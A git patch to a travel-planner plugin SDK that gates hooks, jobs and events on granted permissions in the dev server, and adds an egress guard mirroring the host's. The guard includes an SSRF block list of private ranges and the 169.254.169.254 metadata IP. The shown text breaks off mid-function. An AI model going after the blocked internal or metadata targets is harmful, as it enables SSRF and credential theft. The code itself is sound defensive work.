From c3fbfaf1e9ed376fc8e907257100f08ee265f0bc Mon Sep 17 00:00:00 2001 From: jubnl Date: Mon, 13 Jul 2026 19:42:29 +0200 Subject: [PATCH] fix(sdk) harden dev environment --- plugin-sdk/src/cli/checks/offline.ts | 8 +- plugin-sdk/src/cli/create.ts | 20 +- plugin-sdk/src/cli/dev.ts | 84 +++++- plugin-sdk/src/cli/ui.ts | 210 ++++++++++++-- plugin-sdk/src/egress-policy.ts | 317 +++++++++++++++++++++ plugin-sdk/src/index.ts | 7 + plugin-sdk/src/manifest.ts | 6 +- plugin-sdk/src/mock-host.ts | 38 ++- plugin-sdk/src/permissions.ts | 102 +++++++ plugin-sdk/test/cli.test.ts | 39 ++- plugin-sdk/test/egress-policy.test.ts | 153 ++++++++++ plugin-sdk/test/permissions-parity.test.ts | 54 ++++ plugin-sdk/test/permissions.test.ts | 79 +++++ plugin-sdk/test/sdk.test.ts | 61 +++- 14 files changed, 1124 insertions(+), 54 deletions(-) create mode 100644 plugin-sdk/src/egress-policy.ts create mode 100644 plugin-sdk/src/permissions.ts create mode 100644 plugin-sdk/test/egress-policy.test.ts create mode 100644 plugin-sdk/test/permissions-parity.test.ts create mode 100644 plugin-sdk/test/permissions.test.ts diff --git a/plugin-sdk/src/cli/checks/offline.ts b/plugin-sdk/src/cli/checks/offline.ts index 8d6261dd7..e518085a3 100644 --- a/plugin-sdk/src/cli/checks/offline.ts +++ b/plugin-sdk/src/cli/checks/offline.ts @@ -12,6 +12,9 @@ import { createHash } from 'node:crypto'; import path from 'node:path'; import { validateManifest, isSatisfiableRange, isUnboundedRange, KNOWN_ADDONS } from '../../manifest.js'; +// The hosts a plugin can ACTUALLY reach. See `code.egress-reachable` for why this is the +// only list that counts — and permissions.ts for why dev's egress guard uses the same one. +import { grantedHosts } from '../../permissions.js'; import { LUCIDE_ICON_NAMES } from '../../lucide-icon-names.js'; import { listZipNames } from '../../zip.js'; import { checkSignatureShape } from '../verify-signature.js'; @@ -33,11 +36,6 @@ const NATIVE_RE = /(^|\/)[^/]+\.node$|(^|\/)binding\.gyp$|(^|\/)prebuilds?\//i; const str = (v: unknown): string => (typeof v === 'string' ? v : ''); const arr = (v: unknown): string[] => (Array.isArray(v) ? v.map(String) : []); -/** The hosts a plugin can ACTUALLY reach. See `code.egress-reachable` for why this is the only list that counts. */ -function grantedHosts(permissions: string[]): string[] { - return permissions.filter((p) => p.startsWith('http:outbound:')).map((p) => p.slice('http:outbound:'.length)).filter(Boolean); -} - // ── manifest ──────────────────────────────────────────────────────────────────── const manifestPresent: OfflineCheck = { diff --git a/plugin-sdk/src/cli/create.ts b/plugin-sdk/src/cli/create.ts index 9e3e6e490..410ab693b 100644 --- a/plugin-sdk/src/cli/create.ts +++ b/plugin-sdk/src/cli/create.ts @@ -11,8 +11,8 @@ import { execFileSync } from 'node:child_process'; import { createRequire } from 'node:module'; import { intro, outro, note, logInfo, logSuccess, logWarn, spinner, - promptText, promptSelect, promptMultiselect, promptConfirm, - PERMISSION_CATALOG, + promptText, promptSelect, promptMultiselect, promptGroupMultiselect, promptConfirm, + PERMISSION_FAMILIES, } from './ui.js'; import { KNOWN_ADDONS } from '../manifest.js'; import { LUCIDE_ICON_NAMES } from '../lucide-icon-names.js'; @@ -483,11 +483,21 @@ export async function interactiveScaffold(defaultDir: string, presetName?: strin defaultValue: 'Describe what your plugin does.', }); - const permissions = await promptMultiselect({ - message: 'Which permissions does it need?', - options: PERMISSION_CATALOG.map((p) => ({ value: p.value, label: p.label, hint: p.hint })), + // ONE prompt, grouped by area. 58 permissions in a flat list is unreadable, but asking in + // two steps (areas → permissions) was worse: Clack has no "back", so picking the wrong + // areas was a dead end you could only escape with ^C. A grouped multiselect is a single + // scrollable screen — space toggles a permission, or a whole area from its header. + const permissions = await promptGroupMultiselect({ + message: 'Which permissions does it need? (space toggles; a group header toggles the whole area)', + options: Object.fromEntries( + PERMISSION_FAMILIES.map((f) => [ + `${f.label} — ${f.hint}`, + f.permissions.map((p) => ({ value: p.value, label: p.value, hint: p.hint })), + ]), + ), initialValues: ['db:own'], required: false, + selectableGroups: true, }); let egress: string[] | undefined; diff --git a/plugin-sdk/src/cli/dev.ts b/plugin-sdk/src/cli/dev.ts index d8b5a5bfe..4645c2e82 100644 --- a/plugin-sdk/src/cli/dev.ts +++ b/plugin-sdk/src/cli/dev.ts @@ -7,6 +7,14 @@ * node:sqlite, serves your routes over HTTP and your page/widget UI, and reloads * on every save. * + * Enforcement is NOT limited to ctx. TREK gates hooks, event subscriptions, jobs + * and outbound network BEFORE a plugin's ctx is ever reached, and it does so + * SILENTLY — an ungranted hook is simply never called, with no error and no log, so + * "my plugin does nothing" is all the author ever sees. Dev therefore refuses the + * same things, loudly: it warns at load about every entry point you implement but + * did not grant (see grantGaps), returns 403 from /__dev/fire for one, and installs + * the real egress guard so an undeclared host fails here rather than after install. + * * Dependency-free: node:http + node:sqlite (when present) + built-ins. */ import fs from 'node:fs'; @@ -16,6 +24,11 @@ import { createRequire } from 'node:module'; import * as sdk from '../index.js'; import { injectTrekUi } from '../ui/kit.js'; import { readJsonFile } from './json.js'; +import { + PermissionDenied, HOOK_PERMISSION, USER_DATA_PERMISSION, EVENTS_PERMISSION, JOBS_PERMISSION, + grantGaps, grantedHosts, type GrantGap, +} from '../permissions.js'; +import { installEgressGuard } from '../egress-policy.js'; // Dev fixtures ARE mock-host options — the dev ctx delegates every non-db-own // capability to a grant-enforcing mock host, so dev-fixtures.json can seed the full @@ -36,7 +49,34 @@ interface PluginLike { hooks?: Record>; } -class PermissionDenied extends Error {} +// /__dev/fire/ → the permission TREK requires before it would ever fire that +// entry point. `hook` is resolved per hook name via HOOK_PERMISSION instead. +const FIRE_PERMISSION: Readonly> = { + job: JOBS_PERMISSION, + scheduled: JOBS_PERMISSION, + event: EVENTS_PERMISSION, + deleteUserData: USER_DATA_PERMISSION, + exportUserData: USER_DATA_PERMISSION, +}; + +/** Refuse an entry point the manifest never granted. An unknown kind/hook has no + * permission to check — it falls through to the handler's own 400/404. */ +function needGrant(grants: ReadonlySet, perm: string | undefined, what: string): void { + if (perm && !grants.has(perm)) { + throw new PermissionDenied( + `PERMISSION_DENIED: ${what} requires "${perm}" — add it to permissions in trek-plugin.json. ` + + `TREK would never fire this entry point (it skips ungranted plugins silently).`, + ); + } +} + +/** Warn about every entry point the plugin implements but cannot run. Printed at load + * and on every hot reload, because this failure is invisible in production. */ +function printGaps(gaps: GrantGap[]): void { + for (const g of gaps) { + console.warn(` ⚠ ${g.entryPoint} is implemented but "${g.permission}" is NOT granted — ${g.consequence}`); + } +} // The same SQL guards the real host's PluginDataDb applies (plugin-data.service.ts): // forbidden statement types, an sql-length cap, a result-row cap, and — inside tx() — @@ -277,10 +317,18 @@ export async function runDev(dir: string, opts: { port?: number } = {}): Promise const req = createRequire(path.join(abs, 'server', 'index.js')); let plugin: PluginLike = {}; + let gaps: GrantGap[] = []; let version = 0; const { ctx, userlessCtx } = createDevContext(id, grants, fx, db, broadcasts); const port = opts.port ?? 4317; + // The plugin's outbound network, restricted to the hosts it was granted — with none, + // everything is blocked, exactly as in TREK. `operatorEgressHosts` in dev-fixtures.json + // stands in for the hosts an admin supplies at runtime to an `operatorEgress` plugin, + // which by definition cannot name them in its manifest. + const egressHosts = [...grantedHosts(grants), ...(fx.operatorEgressHosts ?? [])]; + installEgressGuard(egressHosts); + // Block a browser-initiated cross-site request to the side-effectful endpoints: // modern browsers stamp Sec-Fetch-Site (anything but same-origin is another site; // 'none' is the user's own address bar and stays allowed), and every browser sends @@ -304,17 +352,25 @@ export async function runDev(dir: string, opts: { port?: number } = {}): Promise await plugin.onLoad?.(ctx); version++; console.log(` ↻ loaded ${plugin.routes?.length ?? 0} route(s)`); + // Recomputed on every reload: adding a hook (or removing its permission) mid-session + // must change the warning, not leave a stale one from boot. The initial load's gaps + // are printed by the startup banner; a reload prints its own (see reload()). + gaps = grantGaps(plugin, grants); } catch (e) { // A plugin whose load/onLoad throws would fail activation in TREK — don't // keep serving its routes here, or dev would hide exactly that failure. plugin = {}; + gaps = []; console.error(' ✗ plugin failed to load:', e instanceof Error ? e.message : e); } }; await load(); let timer: NodeJS.Timeout | null = null; - const reload = () => { if (timer) clearTimeout(timer); timer = setTimeout(() => { console.log(' change detected'); void load(); }, 120); }; + const reload = () => { + if (timer) clearTimeout(timer); + timer = setTimeout(() => { console.log(' change detected'); void load().then(() => printGaps(gaps)); }, 120); + }; watchTree(path.join(abs, 'server'), reload); watchTree(path.join(abs, 'client'), reload); @@ -344,6 +400,10 @@ export async function runDev(dir: string, opts: { port?: number } = {}): Promise if (typeof bodyRaw === 'string') { try { payload = JSON.parse(bodyRaw); } catch { payload = bodyRaw; } } if (payload === undefined) { const q: Record = {}; url.searchParams.forEach((v, k) => { q[k] = v; }); if (Object.keys(q).length) payload = q; } try { + // TREK gates these entry points on a permission BEFORE the plugin is reached, and + // an ungranted one is never invoked — silently. Refuse it here, loudly, or dev + // would keep green-lighting a plugin that does nothing at all once installed. + needGrant(grants, kind === 'hook' ? HOOK_PERMISSION[name] : FIRE_PERMISSION[kind], `${kind}${name ? `/${name}` : ''}`); // Jobs, scheduled tasks, events and the GDPR handlers run with NO acting user in // production — fire them against the userless ctx so a membership read fails here // exactly like it would in TREK. Hooks stay user-bound. @@ -381,7 +441,7 @@ export async function runDev(dir: string, opts: { port?: number } = {}): Promise } } - if (url.pathname === '/') return send(200, dashboard(id, String(manifest.type), plugin.routes ?? [], dbNote, broadcasts.length), 'text/html; charset=utf-8'); + if (url.pathname === '/') return send(200, dashboard(id, String(manifest.type), plugin.routes ?? [], dbNote, broadcasts.length, gaps), 'text/html; charset=utf-8'); // Faithful host preview: embeds /ui in a sandboxed opaque-origin iframe (exactly // like TREK) and plays the host — posts trek:context (with a theme/accent toggle), @@ -463,6 +523,8 @@ export async function runDev(dir: string, opts: { port?: number } = {}): Promise console.log(`\n trek-plugin dev — ${id} (${String(manifest.type)})`); console.log(` ${dbNote}`); console.log(` granted: ${[...grants].join(', ') || '(none)'}`); + console.log(` egress: ${egressHosts.join(', ') || '(none — all outbound is blocked, as in TREK)'}`); + printGaps(gaps); console.log(`\n ▸ http://localhost:${port}/ dashboard`); if (String(manifest.type) !== 'integration') { console.log(` ▸ http://localhost:${port}/preview themed host preview`); @@ -497,20 +559,32 @@ function contentType(file: string): string { const LIVE_RELOAD = ``; -function dashboard(id: string, type: string, routes: PluginRouteLike[], dbNote: string, bcasts: number): string { +function dashboard(id: string, type: string, routes: PluginRouteLike[], dbNote: string, bcasts: number, gaps: GrantGap[]): string { const rows = routes.length ? routes.map((r) => `${r.method}/api${r.path}${r.auth === false ? 'public' : 'auth'}`).join('') : 'no routes declared'; const ui = type !== 'integration' ? `

▸ open the themed host preview (/preview)  ·  raw /ui

` : ''; + // The silent killer, made loud: in TREK these entry points are simply never invoked, + // with nothing logged anywhere. If any exist, they are the most important thing here. + const warn = gaps.length + ? `
⚠ ${gaps.length} entry point(s) TREK would never run
    ${gaps + .map((g) => `
  • ${g.entryPoint} needs ${g.permission} — ${g.consequence}
  • `) + .join('')}

Add the permission(s) to trek-plugin.json. Until then this works in dev and does nothing once installed.

` + : ''; return `${id} · trek-plugin dev +.muted{color:#6b7280;font-size:.9rem}a{color:#4f46e5} +.warn{background:#fef2f2;border:1px solid #fecaca;border-radius:8px;padding:.75rem 1rem;margin:1rem 0} +.warn ul{margin:.5rem 0;padding-left:1.2rem}.warn p{margin:.5rem 0 0;font-size:.9rem} +@media(prefers-color-scheme:dark){body{background:#111827;color:#e5e7eb}code{background:#1f2937}td{border-color:#374151} +.warn{background:#3f1d1d;border-color:#7f1d1d}}

${id} · ${type}

${dbNote} · ${bcasts} ws broadcast(s) captured

+${warn} ${ui} ${rows}
MethodURLAuth

Add ?_anon=1 to a route to hit it as an unauthenticated request. Edit server/ or client/ and this reloads.

diff --git a/plugin-sdk/src/cli/ui.ts b/plugin-sdk/src/cli/ui.ts index ca67a1f02..5f2e8f4f2 100644 --- a/plugin-sdk/src/cli/ui.ts +++ b/plugin-sdk/src/cli/ui.ts @@ -18,10 +18,12 @@ import { text as clackText, select as clackSelect, multiselect as clackMultiselect, + groupMultiselect as clackGroupMultiselect, confirm as clackConfirm, type TextOptions, type SelectOptions, type MultiSelectOptions, + type GroupMultiSelectOptions, type ConfirmOptions, type SpinnerResult, } from '@clack/prompts'; @@ -67,38 +69,200 @@ export const promptSelect = async (opts: Omit, 'outp export const promptMultiselect = async (opts: Omit, 'output'>): Promise => orCancel(await clackMultiselect({ ...opts, output: OUT })); +/** + * One multiselect, options rendered under group headers. Used for permissions: 58 of them + * in a flat list is unreadable, but splitting the pick across TWO prompts was worse — Clack + * has no "back", so choosing the wrong group was a dead end you could only escape with ^C. + * Grouping keeps it a single screen you can scroll, with no navigation to get lost in. + */ +export const promptGroupMultiselect = async ( + opts: Omit, 'output'>, +): Promise => orCancel(await clackGroupMultiselect({ ...opts, output: OUT })); + export const promptConfirm = async (opts: Omit): Promise => orCancel(await clackConfirm({ ...opts, output: OUT })); // ── permissions ────────────────────────────────────────────────────────────── /** - * The permissions an author can grant, each with a human hint for the multiselect. - * This list must stay in lockstep with the host's `KNOWN_PERMISSIONS` - * (server `src/nest/plugins/protocol/envelope.ts`) — same strings, same order. - * The manifest validator's `KNOWN_PERMISSIONS` (`../manifest.ts`) mirrors it too. + * Every permission an author can grant, grouped into the areas of TREK they touch. + * + * This used to be a hand-written list, and it silently fell 40 permissions behind the + * host — `create` could not offer `jobs:run`, `events:subscribe` or 7 of the 12 hooks, + * so a scaffolded plugin that needed one had no way to ask for it. The families below + * are now the ONLY place a permission may be listed, and `test/cli.test.ts` fails if a + * permission in the manifest validator's KNOWN_PERMISSIONS has no entry here. Add a + * permission to TREK ⇒ the test tells you to describe it ⇒ `create` offers it. + * + * `db:read:*` grants read the data the REQUESTING USER can already see; `db:write:*` + * grants act on trips that user can edit. Neither is a superuser grant. */ -export const PERMISSION_CATALOG: { value: string; label: string; hint: string }[] = [ - { value: 'db:own', label: 'db:own', hint: 'A private database only this plugin can read/write' }, - { value: 'db:read:trips', label: 'db:read:trips', hint: 'Read trips the requesting user can access' }, - { value: 'db:read:users', label: 'db:read:users', hint: 'Read basic user profiles' }, - { value: 'db:read:costs', label: 'db:read:costs', hint: 'Read costs (budget items) the requesting user can access' }, - { value: 'db:write:costs', label: 'db:write:costs', hint: 'Create costs (budget items) on trips the user can edit' }, - { value: 'db:write:places', label: 'db:write:places', hint: 'Add, edit and remove places on trips the user can edit' }, - { value: 'db:write:days', label: 'db:write:days', hint: 'Add, edit and remove days on trips the user can edit' }, - { value: 'db:write:itinerary', label: 'db:write:itinerary', hint: 'Assign and remove places on days of trips the user can edit' }, - { value: 'db:write:trips', label: 'db:write:trips', hint: 'Edit trip details (title, dates, currency…) on trips the user can edit' }, - { value: 'db:meta', label: 'db:meta', hint: 'Attach its own private data to trips, places and days the user can access' }, - { value: 'ws:broadcast:trip', label: 'ws:broadcast:trip', hint: 'Push realtime events to everyone on a trip' }, - { value: 'ws:broadcast:user', label: 'ws:broadcast:user', hint: 'Push realtime events to a single user' }, - { value: 'hook:photo-provider', label: 'hook:photo-provider', hint: 'Supply place photos to TREK' }, - { value: 'hook:calendar-source', label: 'hook:calendar-source', hint: 'Supply calendar events to TREK' }, - { value: 'hook:notification-channel', label: 'hook:notification-channel', hint: 'Deliver TREK notifications over your own channel' }, - { value: 'hook:place-detail-provider', label: 'hook:place-detail-provider', hint: 'Contribute extra details (reviews, ratings, links) to a place' }, - { value: 'hook:trip-warning-provider', label: 'hook:trip-warning-provider', hint: 'Raise validation warnings on a trip (shown in the planner)' }, - { value: 'http:outbound', label: 'http:outbound', hint: 'Call external HTTP hosts (needs an egress allow-list)' }, +export interface PermissionFamily { + id: string; + label: string; + hint: string; + permissions: { value: string; hint: string }[]; +} + +export const PERMISSION_FAMILIES: PermissionFamily[] = [ + { + id: 'storage', + label: 'Its own storage', + hint: 'Where the plugin keeps data of its own', + permissions: [ + { value: 'db:own', hint: 'A private database only this plugin can read/write' }, + { value: 'db:meta', hint: 'Attach its own private data to trips, places and days the user can access' }, + ], + }, + { + id: 'trips', + label: 'Trips & members', + hint: 'The trip itself, and who is on it', + permissions: [ + { value: 'db:read:trips', hint: 'Read trips the requesting user can access' }, + { value: 'db:write:trips', hint: 'Edit trip details (title, dates, currency…) on trips the user can edit' }, + { value: 'db:create:trips', hint: 'Create new trips for the requesting user' }, + { value: 'db:read:users', hint: 'Read basic user profiles' }, + { value: 'db:write:members', hint: 'Add and remove trip members' }, + ], + }, + { + id: 'itinerary', + label: 'Places, days & itinerary', + hint: 'The plan itself — the planner\'s core', + permissions: [ + { value: 'db:write:places', hint: 'Add, edit and remove places on trips the user can edit' }, + { value: 'db:write:days', hint: 'Add, edit and remove days on trips the user can edit' }, + { value: 'db:write:itinerary', hint: 'Assign and remove places on days of trips the user can edit' }, + { value: 'db:read:categories', hint: 'Read the place categories TREK ships' }, + { value: 'db:read:tags', hint: 'Read the tags used to label places' }, + { value: 'db:write:tags', hint: 'Create, rename and delete tags' }, + ], + }, + { + id: 'bookings', + label: 'Reservations & accommodation', + hint: 'Flights, trains, hotels', + permissions: [ + { value: 'db:write:reservations', hint: 'Create, edit and delete reservations (flights, trains, restaurants…)' }, + { value: 'db:write:accommodations', hint: 'Create, edit and delete accommodation (hotels, rentals)' }, + ], + }, + { + id: 'budget', + label: 'Budget', + hint: 'Costs and splits — needs the budget addon enabled', + permissions: [ + { value: 'db:read:costs', hint: 'Read costs (budget items) the requesting user can access' }, + { value: 'db:write:costs', hint: 'Create, edit and delete costs on trips the user can edit' }, + ], + }, + { + id: 'packing', + label: 'Packing & todos', + hint: 'Checklists — packing needs the packing addon', + permissions: [ + { value: 'db:read:packing', hint: 'Read packing lists and bags' }, + { value: 'db:write:packing', hint: 'Create, edit, tick and delete packing items and bags' }, + { value: 'db:read:todos', hint: 'Read the trip todo list' }, + { value: 'db:write:todos', hint: 'Create, edit, tick and delete todos' }, + ], + }, + { + id: 'files', + label: 'Files & documents', + hint: 'Uploads — needs the documents addon enabled', + permissions: [ + { value: 'db:read:files', hint: 'List a trip\'s files and their metadata (NOT their contents)' }, + { value: 'db:read:files:content', hint: 'Read the actual BYTES of a file — grant this only if you truly need them' }, + { value: 'db:write:files', hint: 'Upload, link, rename and delete files' }, + ], + }, + { + id: 'collab', + label: 'Collaboration', + hint: 'Notes, polls, chat — needs the collab addon enabled', + permissions: [ + { value: 'db:read:collab', hint: 'Read shared notes, polls and chat messages' }, + { value: 'db:write:collab', hint: 'Create notes and polls, vote, and post messages' }, + { value: 'db:read:daynotes', hint: 'Read the notes pinned to a day' }, + { value: 'db:write:daynotes', hint: 'Create, edit and delete day notes' }, + ], + }, + { + id: 'journal', + label: 'Journal, Atlas, Vacay & collections', + hint: 'The cross-trip features — each needs its addon enabled', + permissions: [ + { value: 'db:read:journal', hint: 'Read journeys and their entries' }, + { value: 'db:write:journal', hint: 'Create and edit journeys and journal entries' }, + { value: 'db:read:atlas', hint: 'Read visited countries/regions and the bucket list' }, + { value: 'db:write:atlas', hint: 'Mark places visited and edit the bucket list' }, + { value: 'db:read:vacay', hint: 'Read vacation-day plans and balances' }, + { value: 'db:write:vacay', hint: 'Toggle vacation days and company holidays' }, + { value: 'db:read:collections', hint: 'Read saved place collections' }, + { value: 'db:write:collections', hint: 'Create collections, save places into them, and copy them to a trip' }, + ], + }, + { + id: 'hooks', + label: 'Provider hooks (render inside TREK natively)', + hint: 'TREK calls YOU. Without the matching grant a hook is NEVER invoked — silently', + permissions: [ + { value: 'hook:photo-provider', hint: 'Supply place photos to TREK' }, + { value: 'hook:calendar-source', hint: 'Supply calendar events to TREK' }, + { value: 'hook:place-detail-provider', hint: 'Contribute extra details (reviews, ratings, links) to a place' }, + { value: 'hook:trip-warning-provider', hint: 'Raise validation warnings on a trip (shown in the planner)' }, + { value: 'hook:table-contributor', hint: 'Add columns to TREK\'s tables' }, + { value: 'hook:map-marker-provider', hint: 'Add your own markers to the map' }, + { value: 'hook:pdf-section-provider', hint: 'Add a section to the exported trip PDF' }, + { value: 'hook:atlas-layer-provider', hint: 'Add a layer to the Atlas map' }, + { value: 'hook:journal-entry-provider', hint: 'Contribute entries to a journey' }, + { value: 'hook:trip-card-provider', hint: 'Add a badge/card to the trip list' }, + { value: 'hook:notification-channel', hint: 'Deliver TREK notifications over your own channel' }, + { value: 'hook:user-data', hint: 'Implement GDPR erasure/export of the data you hold for a user' }, + ], + }, + { + id: 'background', + label: 'Background work', + hint: 'Run without a user present. Ungranted, these never run at all', + permissions: [ + { value: 'jobs:run', hint: 'Run cron jobs and ctx.scheduler timers (no acting user)' }, + { value: 'events:subscribe', hint: 'Receive TREK events (place:created, trip:updated…) as they happen' }, + ], + }, + { + id: 'realtime', + label: 'Realtime push', + hint: 'Push to connected clients over the websocket', + permissions: [ + { value: 'ws:broadcast:trip', hint: 'Push realtime events to everyone on a trip' }, + { value: 'ws:broadcast:user', hint: 'Push realtime events to a single user' }, + ], + }, + { + id: 'services', + label: 'Network & host services', + hint: 'Reach the outside world, or borrow a TREK service', + permissions: [ + { value: 'http:outbound', hint: 'Call external HTTP hosts (you name the hosts next)' }, + { value: 'weather:read', hint: 'Read forecasts through TREK\'s weather service' }, + { value: 'rates:read', hint: 'Read currency exchange rates through TREK' }, + { value: 'notify:send', hint: 'Send a TREK notification to a user or trip' }, + { value: 'ai:invoke', hint: 'Call the instance\'s configured AI model' }, + { value: 'oauth:client', hint: 'Obtain OAuth access tokens for the user' }, + ], + }, ]; +/** Flat view of every permission, for the non-interactive path and the tests. */ +export const PERMISSION_CATALOG: { value: string; label: string; hint: string; family: string }[] = + PERMISSION_FAMILIES.flatMap((f) => + f.permissions.map((p) => ({ value: p.value, label: p.value, hint: p.hint, family: f.id })), + ); + +/** Every grantable permission id. Derived — never hand-maintained. */ export const KNOWN_PERMISSIONS: string[] = PERMISSION_CATALOG.map((p) => p.value); // ── reporter seam (for commands that log their own progress, e.g. publish) ──── diff --git a/plugin-sdk/src/egress-policy.ts b/plugin-sdk/src/egress-policy.ts new file mode 100644 index 000000000..6a650cad9 --- /dev/null +++ b/plugin-sdk/src/egress-policy.ts @@ -0,0 +1,317 @@ +/** + * The plugin network guard, mirrored from the host so `dev` blocks exactly what a + * real TREK blocks. + * + * In production the plugin child wraps fetch/net/dns/dgram and allows ONLY the hosts + * granted as `http:outbound:` permissions — with no such grant, all outbound is + * blocked. The dev server had no guard at all, so a plugin calling an undeclared host + * worked perfectly in dev and was refused the moment it was installed. This closes + * that gap. + * + * The pure helpers below (isBlockedIp, makeHostAllow, classifyConnect, …) are copied + * VERBATIM from the server's runtime/egress-policy.ts — trek-plugin-sdk ships + * standalone and cannot import across the package boundary. test/egress-parity.test.ts + * fails if the two drift. + * + * What is deliberately NOT mirrored: the host also locks its wrappers + * non-configurable and disables process.binding, to contain a HOSTILE plugin in a + * dedicated child. Dev runs YOUR code in the CLI's own process, where a plugin + * escaping the guard is not a threat anyone needs defending from — and locking the + * globals would make the guard un-restorable for tests. Dev's job here is fidelity, + * not containment. + */ +import net from 'node:net'; +import dns from 'node:dns'; +import dgram from 'node:dgram'; + +// --------------------------------------------------------------------------- +// Pure policy helpers — kept byte-identical to the server's egress-policy.ts. +// --------------------------------------------------------------------------- + +/** + * Block outbound connections to loopback / private / link-local / ULA / carrier- + * grade-NAT / cloud-metadata / multicast / reserved destinations. This is the + * SSRF backstop: even a declared host that (re)resolves to one of these is + * refused, so a plugin can't pivot to trek.db's host, the 169.254.169.254 + * metadata IP, the local docker network, or other internal services. + */ +export function isBlockedIp(ip: string): boolean { + const v4 = ip.match(/^(\d+)\.(\d+)\.(\d+)\.(\d+)$/); + if (v4) { + const a = Number(v4[1]); + const b = Number(v4[2]); + return ( + a === 0 || + a === 10 || + a === 127 || + (a === 172 && b >= 16 && b <= 31) || + (a === 192 && b === 168) || + (a === 169 && b === 254) || // link-local, incl. 169.254.169.254 metadata + (a === 100 && b >= 64 && b <= 127) || // CGNAT 100.64/10 + a >= 224 // multicast + reserved + ); + } + // IPv6: expand to 8 hextets so EVERY spelling is checked (compressed `::`, + // hex IPv4-mapped `::ffff:a9fe:a9fe`, dotted `::ffff:169.254.169.254`, `0::1`). + const g = expandV6(ip.replace(/^\[/, '').replace(/\]$/, '')); + if (g) { + if (g.every((x) => x === 0)) return true; // :: (unspecified) + // IPv4-mapped (::ffff:x) and IPv4-compatible (::x) → check the embedded IPv4. + if (g.slice(0, 5).every((x) => x === 0) && (g[5] === 0xffff || g[5] === 0)) { + return isBlockedIp(`${g[6] >> 8}.${g[6] & 0xff}.${g[7] >> 8}.${g[7] & 0xff}`); + } + if ((g[0] & 0xffc0) === 0xfe80) return true; // fe80::/10 link-local + if ((g[0] & 0xfe00) === 0xfc00) return true; // fc00::/7 ULA + } + return false; +} + +/** Expand an IPv6 literal into its 8 numeric hextets, or null if not a valid IPv6. */ +function expandV6(ip: string): number[] | null { + let h = ip.toLowerCase().replace(/%.*$/, ''); + if (!h.includes(':')) return null; + const dotted = h.match(/^(.*:)(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})$/); + if (dotted) { + const v4 = dotted[2].split('.').map(Number); + if (v4.some((n) => n > 255)) return null; + h = dotted[1] + ((v4[0] << 8) | v4[1]).toString(16) + ':' + ((v4[2] << 8) | v4[3]).toString(16); + } + const halves = h.split('::'); + if (halves.length > 2) return null; + const head = halves[0] ? halves[0].split(':') : []; + const tail = halves.length === 2 && halves[1] ? halves[1].split(':') : []; + const groups = + halves.length === 2 ? [...head, ...Array(8 - head.length - tail.length).fill('0'), ...tail] : head; + if (groups.length !== 8) return null; + const nums = groups.map((x) => (x === '' ? NaN : parseInt(x, 16))); + return nums.some((n) => !Number.isInteger(n) || n < 0 || n > 0xffff) ? null : nums; +} + +/** Build a declared-egress host matcher (exact host or `*.suffix` wildcard). */ +export function makeHostAllow(egress: string[]): (host: string) => boolean { + const patterns = egress + .map((h) => h.trim().toLowerCase().replace(/\.$/, '')) // drop a trailing dot (FQDN trick) + .filter((p) => p && p !== '*') + // A wildcard must have a real multi-label suffix — reject the degenerate + // `*.` (matched any trailing-dot host = allow-all) and whole-TLD `*.com`. + .filter((p) => !p.startsWith('*.') || p.slice(2).includes('.')); + return (host: string) => { + const h = host.toLowerCase().replace(/\.$/, ''); + return patterns.some((p) => (p.startsWith('*.') ? h === p.slice(2) || h.endsWith(p.slice(1)) : h === p)); + }; +} + +export interface ConnectTarget { + kind: 'local' | 'literal-ip' | 'hostname'; + host: string; +} + +/** + * Destination host of a `dgram.Socket.send(msg[, offset, length], port[, address][, cb])` + * call, or null when no explicit address is given. + */ +export function dgramSendTarget(args: unknown[]): string | null { + const offsetForm = typeof args[1] === 'number' && typeof args[2] === 'number'; + const address = args[offsetForm ? 4 : 2]; + return typeof address === 'string' ? address : null; +} + +/** Destination host of a `dgram.Socket.connect(port[, address][, cb])` call, or null. */ +export function dgramConnectTarget(args: unknown[]): string | null { + return typeof args[1] === 'string' ? (args[1] as string) : null; +} + +/** + * Node's `net.connect()` pre-normalises its arguments into an `[options, callback]` + * array and then calls `Socket.prototype.connect` with THAT ARRAY as the single + * argument. undici's plain-HTTP connector takes this path; its TLS connector does + * not — which is why HTTPS egress worked and plain HTTP silently did not. + */ +export function unwrapConnectArgs(args: unknown[]): unknown[] { + return Array.isArray(args[0]) ? (args[0] as unknown[]) : args; +} + +/** + * Classify a `net.Socket.connect(...)` argument list into what we must check: + * a unix-socket/pipe (local), a literal IP (checked synchronously), or a hostname + * (allowlist + a DNS-resolving guard). + */ +export function classifyConnect(rawArgs: unknown[], isIP: (s: string) => boolean): ConnectTarget { + const args = unwrapConnectArgs(rawArgs); + const first = args[0]; + if (first && typeof first === 'object') { + const o = first as { host?: string; path?: string }; + if (o.path) return { kind: 'local', host: o.path }; + const host = o.host ?? 'localhost'; + return { kind: isIP(host) ? 'literal-ip' : 'hostname', host }; + } + if (typeof first === 'string' && !/^\d+$/.test(first)) { + // a bare string that isn't a port number is an IPC path + return { kind: 'local', host: first }; + } + // connect(port[, host][, cb]) + const host = typeof args[1] === 'string' ? (args[1] as string) : 'localhost'; + return { kind: isIP(host) ? 'literal-ip' : 'hostname', host }; +} + +// --------------------------------------------------------------------------- +// The dev-server guard. +// --------------------------------------------------------------------------- + +/** Undo an installEgressGuard(), restoring the real fetch/net/dns/dgram. */ +export type RestoreEgress = () => void; + +const DNS_METHODS = [ + 'lookup', 'resolve', 'resolve4', 'resolve6', 'resolveAny', 'resolveCaa', 'resolveCname', + 'resolveMx', 'resolveNaptr', 'resolveNs', 'resolvePtr', 'resolveSoa', 'resolveSrv', 'resolveTxt', +]; + +/** + * Restrict outbound network to `hosts` — the plugin's `http:outbound:` grants. + * With no hosts, ALL outbound is blocked, exactly as in production. `*.example.com` + * wildcards match any subdomain. + * + * Safe to install process-wide here: the dev server itself makes no Node-side + * outbound call (its only fetch() calls live in browser-side template strings) and + * the mock host is pure fixtures — so the only caller that can trip this guard is + * the plugin, which is the point. + * + * `TREK_PLUGIN_ALLOW_PRIVATE_EGRESS=on` permits private/loopback targets — the SAME + * variable production honours, so a plugin developed against a self-hosted sibling + * service uses one lever in both places. + */ +export function installEgressGuard(hosts: string[]): RestoreEgress { + const allowed = makeHostAllow(hosts); + const blockPrivate = (process.env.TREK_PLUGIN_ALLOW_PRIVATE_EGRESS ?? '').toLowerCase() !== 'on'; + + // Name the fix in the error. Production can only say "not declared"; dev knows the + // author is looking at the manifest right now, so it says what to add. + const refuse = (host: string): Error => + new Error( + `egress: ${host} is not in the plugin's declared 